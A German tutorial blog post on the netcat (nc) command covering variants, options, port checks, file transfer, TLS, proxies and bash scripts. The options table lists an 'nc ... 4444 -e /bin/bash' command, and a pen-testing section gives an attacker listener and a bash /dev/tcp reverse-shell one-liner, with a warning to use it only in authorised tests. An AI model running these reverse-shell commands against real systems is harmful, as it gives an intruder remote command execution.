nc (netcat)-Befehl unter Linux

Das Schweizer Taschenmesser für Netzwerke

Willst du schnell prüfen, ob ein Port offen ist? 🔍 Oder Daten zwischen zwei Hosts austauschen, ohne ein separates Programm zu installieren? Vielleicht willst du einen simplen Web-Server oder eine Reverse‑Shell nutzen?

Dann ist netcat (kurz nc) genau das richtige Werkzeug für dich! Es ist klein, flexibel und vielseitig und kann auf fast jedem Linux‑System installiert werden.

Dieser Artikel zeigt dir, wie du nc effektiv einsetzen kannst, welche aktuelle Varianten existieren und wie du die Ausgabe in Skripten verarbeitest.

Varianten von netcat

Zunächst einmal sollten wir bemerken: netcat gibt es in verschiedenen Varianten. Daher werden auch nicht alle Beispiele auf jedem System funktionieren.

Name Paket Besonderheiten
OpenBSD‑netcat netcat-openbsd unterstützt proxy‑Verbindungen, TLS (-z --ssl), IPv6 und Unix‑Domain‑Sockets
GNU‑netcat netcat-traditional ältere Syntax und weniger Features, aber maximale POSIX‑Kompatibilität
Ncat-nmap ncat-nmap erweiterte TLS‑ und Zertifikatsunterstützung, Socks‑Proxy, Chat‑Modus, Relay‑Funktion
Socat socat Socket‑Cat dient als Ersatz in komplexeren Fällen (mehr Protokolle, Fork‑Modus, Bidirektionalität)

Installation

So findest du auf deinem System verfügbaren Varianten:

1
2
dnf search netcat 	# Fedora/Redhat
apt search netcat 	# Debian/Ubuntu

Wähle einfach die passende Zeile für deine Distribution und gib das konkrete PAKET an:

1
2
sudo dnf install PAKET # Fedora/Redhat
sudo apt install PAKET # Debian/Ubuntu

So kannst du prüfen, welche Befehle bereitgestellt wurden:

1
which nc netcat

Beispiel-Ausgabe:

1
2
/usr/bin/nc
/usr/bin/netcat

Genauso solltest du jetzt eine valide Ausgabe zu nc und netcat erhalten.

Hinweis:

  • Oft ist nc ein Symlink auf die OpenBSD‑Variante.
  • Prüfe mit nc -h oder nc --version, welche Implementierung du nutzt.

Grundlegende Syntax

So sieht die Syntax aus, die wir gleich in konkreten Beispielen verwenden:

1
2
nc [OPTIONEN] HOST PORT
nc [OPTIONEN] -l [-p PORT] [HOST]
  • HOST = Ziel‑IP oder Hostname (bei -l optional, für Bind‑Adresse)
  • PORT = Zielport oder Port, an dem gelauscht wird
  • Optionen = beeinflussen Protokoll, Verbosity, Timeouts usw.

Wichtige Optionen

Option Kurz‑Beschreibung Beispiel
-z Zero‑I/O = nur prüfen, ob Port erreichbar nc -z 10.0.0.5 22
-v verbose = gibt Verbindungsdetails aus nc -z -v 10.0.0.5 22
-w SECS Timeout für Verbindungsaufbau/Lesen nc -w 3 host 80
-u UDP‑Modus (Standard ist TCP) nc -u 192.168.1.10 53
-l Listen (Server‑Modus) nc -l -p 12345
-p PORT lokaler Quellport (nur im Listen‑Modus) nc -l -p 12345
-k Keep‑alive = nach einer Verbindung weiter lauschen nc -l -k 8080
--ssl TLS‑Verschlüsselung nc --ssl host 443
--proxy PROXY[:PORT] Verbindung über Proxy nc --proxy 127.0.0.1:8080 host 80
-e PROG Exec‑Mode = führt PROG nach Verbindungsaufbau aus nc a.example.com 4444 -e /bin/bash

Hinweis:

  • Die Option -e ist aus Sicherheitsgründen oft nicht mehr enthalten.
  • Verwende stattdessen ncat --exec oder socat.

praktische Beispiele

Für die nachfolgenden Beispiele macht es Sinn, wenn du zwei virtuelle Maschinen (VMs) im gleichen Subnetz verwenden kannst.

Die jeweilige IP-Adresse kannst du dir so anzeigen lassen:

1
2
3
4
ip -4 -br a
# Beispiel-Ausgabe:
lo               UNKNOWN        127.0.0.1/8 ::1/128
enp1s0           UP             192.168.122.191/24 fe80::5054:ff:fe88:469c/64

Port‑Check

Prüfe, ob Port 22 auf 192.168.0.10 erreichbar ist:

1
2
3
4
5
nc -zv -w5 192.168.0.10 22
# mögliche Ausgabe
# Connection to 192.168.0.10 22 port [tcp/ssh] succeeded!
# andere mögliche Ausgabe
# Ncat: Connected to 192.168.122.191:22.

Einfacher Echo‑Server

Dieser Befehl lauscht auf Port 12345 und gibt alles zurück, was der Client sendet:

1
nc -l -p 12345 -k -c 'while read line; do echo "Server: $line"; done'

Mit -c führst du einen Shell‑Befehl pro Verbindung aus. In dem Befehl liefert die Schleife liefert über echo alle Eingaben zurück.

Jetzt kannst du dich zu diesem Listener verbinden. Das geht auch auf einem weiteren Terminal auf dem gleichen System:

1
nc 127.0.0.1 12345

Alle dann folgenden Eingaben werden nun durch den Listener wiedergegeben:

1
2
3
4
5
6
hi
Server: hi
Was gibts Neues?
Server: Was gibts Neues?
tschüss
Server: tschüss

Beide Seiten kannst du mit der Tastenkombination [Strg] + [C] wieder beenden.

Datei übertragen

Auch für die Dateiübertragung lässt sich das Werkzeug nutzen.

Die Aktion vom Empfänger auf Host 2:

1
nc -l 12345 > largefile.bin

Und das Gegenstück beim Absender auf Host 1:

1
cat largefile.bin | nc 192.168.122.81 12345

Tip:

  • Nutze statt cat den Befehl pv aus dem gleichnamigen Paket, um den Fortschritt anzuzeigen.

Nach beendeter Übertragung kannst du den Empfänger mit [Strg] + [C] wieder beenden.

UDP‑Ping

Host 1 lauscht auf ein Paket von Host 2:

1
nc -u -l -p 9999

Host 2 sendet das Paket:

1
echo "UDP-Paket für dich" | nc -u -w1 192.168.122.83 9999

Hat es geklappt, dann erscheint das auf der Konsole des Empfängers:

1
UDP-Paket für dich

Beim Empfänger den Listener wieder beenden. Du weisst jetzt wie das geht. Oder du schaust in obigen Beispiel.

TLS‑Verbindung testen

Prüfe, ob ein Web‑Server den TLS‑Handshake akzeptiert:

1
echo | nc --ssl -v example.com 443

Falls das Zertifikat gültig ist, bekommst du eine solche Bestätigung:

1
2
3
4
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: SSL connection to 23.220.75.245:443. Internet Corporation for Assigned Names and Numbers
Ncat: SHA-1 fingerprint: 310D B7AF 4B2B C904 0C83 4470 1ACA 08D0 C693 81E3
Ncat: 1 bytes sent, 0 bytes received in 0.89 seconds.

Proxy durchschleusen

Dieses Beispiel kannst du gut mit einem lokal installierten Proxy nachvollziehen. dafür kannst du eine einfache Variante, wie Tinyproxy verwenden:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# Installation:
sudo apt update && sudo apt install -y tinyproxy
# Konfiguration anpassen:
sudo nano /etc/tinyproxy/tinyproxy.conf
# Inhalt der Konfiguration:
User nobody
Group nogroup

Logfile "/var/log/tinyproxy/tinyproxy.log"
PidFile "/run/tinyproxy/tinyproxy.pid"
Timeout 600
DefaultErrorFile "/usr/share/tinyproxy/default.html"

Listen 127.0.0.1
Port 8080
Allow 127.0.0.1
# Start des Dienstes:
sudo systemctl restart tinyproxy.service

So startest du einen HTTP‑Proxy:

1
nc --proxy 127.0.0.1:8080 --proxy-type http -v example.com 80

Die Daten laufen nun über den lokalen Proxy, was nützlich ist für das Debugging von Proxy‑Chains.

Reverse‑Shell

Auch einem in Pen‑Test‑Szenario lässt sich ncat einsetzen.

Warnung:

  • Reverse‑Shells sind potenziell gefährlich. Verwende sie nur in autorisierten Tests!

Der Angreifer startet auf seinem System eine Listener:

1
nc -lv 4444 -k

Vom Ziel-System aus erstellt der Angreifer eine Shell:

1
bash -i >& /dev/tcp//4444 0>&1

Damit landet der Angreifer im Prompt des Ziel-Systems und kann jetzt beliebigem Code ausführen.

Netcat in Bash‑Skripten

Nicht nur interaktiv, sondern auch in Skripten lässt sich nc gut einsetzen.

Port‑Verfügbarkeit prüfen

Diese Funktion prüft die Verfügbarkeit von einem Port:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
is_port_open() {
  local host=$1 port=$2 timeout=${3:-3}
  nc -z -w "$timeout" "$host" "$port" >/dev/null 2>&1
}

if is_port_open 192.168.122.83 22; then
  echo "SSH ist erreichbar"
else
  echo "Port geschlossen"
fi

Probiere es einfach aus, indem du den Code abspeicherst, das Skript ausführbar machst (chmod +x port_check.sh) und dann aufrufst mit ./port_check.sh.

Daten lesen

Hier werden Daten gelesen, ohne zu blocken:

1
2
result=$(echo "GET / HTTP/1.0\r\n\r\n" | nc -w2 example.com 80)
echo "$result" | head -n 5

Je nach konkretem System kann es sein, dass du diesen Code anpassen musst, damit er bei dir funktioniert.

Port‑Scanner

Auch als kleiner Ersatz für nmap kann nc verwendet werden:

1
2
3
for p in $(seq 20 30); do
  nc -z -w1 192.168.122.191 "$p" && echo "Port $p offen"
done

Da ich SSH nutze, wird bei mir zum Beispiel ausgegeben "Port $p offen".

Ausgaben loggen

Du kannst auch Logging bei netcat einsetzen:

1
nc -l -p 1234 > nc.log 2>&1

Wo kann das sinnvoll sein? Zum Beispiel, damit ein IoT-Gerät seine Daten regelmässig versendet:

1
echo "temp=22.4;humidity=41" | nc 192.168.122.81 1234

Dann landen diese Daten im Log und du kannst sie zum Beispiel so anzeigen:

1
tail nc.log

Sicherheit und Best Practices

Du hast gesehen: Man kann viel mit netcat anstellen, also auch viel Unsinn, was den Bösewichten auch nicht unbekannt ist.

Daher solltest du folgende Hinweise unbedingt berücksichtigen beim Einsatz:

Thema Empfehlung
kein -e/--exec nutze stattdessen ncat --exec (mit --allow‑Whitelist) oder socat
TLS verwende --ssl bzw. ncat --ssl für verschlüsselte Kommunikationen
Privilegien lausche nicht als root, wenn kein privilegierter Port (<1024) nötig ist
Input‑Validierung über nc empfangene Daten niemals ungeprüft in eval oder bash -c ausführen
Firewall‑Logik nutze nc nicht, um Firewalls zu umgehen
Logging setze -v und leite die Ausgabe in ein Logfile
Rate‑Limiting kombiniere -k und Firewall‑Regeln, um die Gefahr von DoS‑Angriffen zu minimieren

Fazit

netcat - kurz nc - ist nach wie vor ein universelles Werkzeug beim Netzwerken! 🚀

Durch die Wahl der passenden Variante kannst du moderne Features nutzen, während du gleichzeitig die Sicherheit im Blick behältst.

Nutze die Beispiele von oben als Ausgangspunkt und passe sie deiner Umgebung an.

So erweiterst du dein Toolset mit einem extrem vielseitigen Werkzeug. 🛠️

Hilfe zu nc

Mehr zu nc findest du unter hier:

1
2
3
nc -h                # kurze Hilfe mit allen Optionen
man nc               # Man‑Page
tldr nc              # kompaktes Cheat‑Sheet

Details zum Befehl tldr gibt es hier.

Wenn man nc nur eine kurze Seite zeigt, liegt das meist daran, dass dein System nc als Symlink zu OpenBSD‑netcat verwendet. Die vollständige Dokumentation findest du unter man netcat-openbsd bzw. man ncat.

Erstellt mit Hugo
Theme Stack gestaltet von Jimmy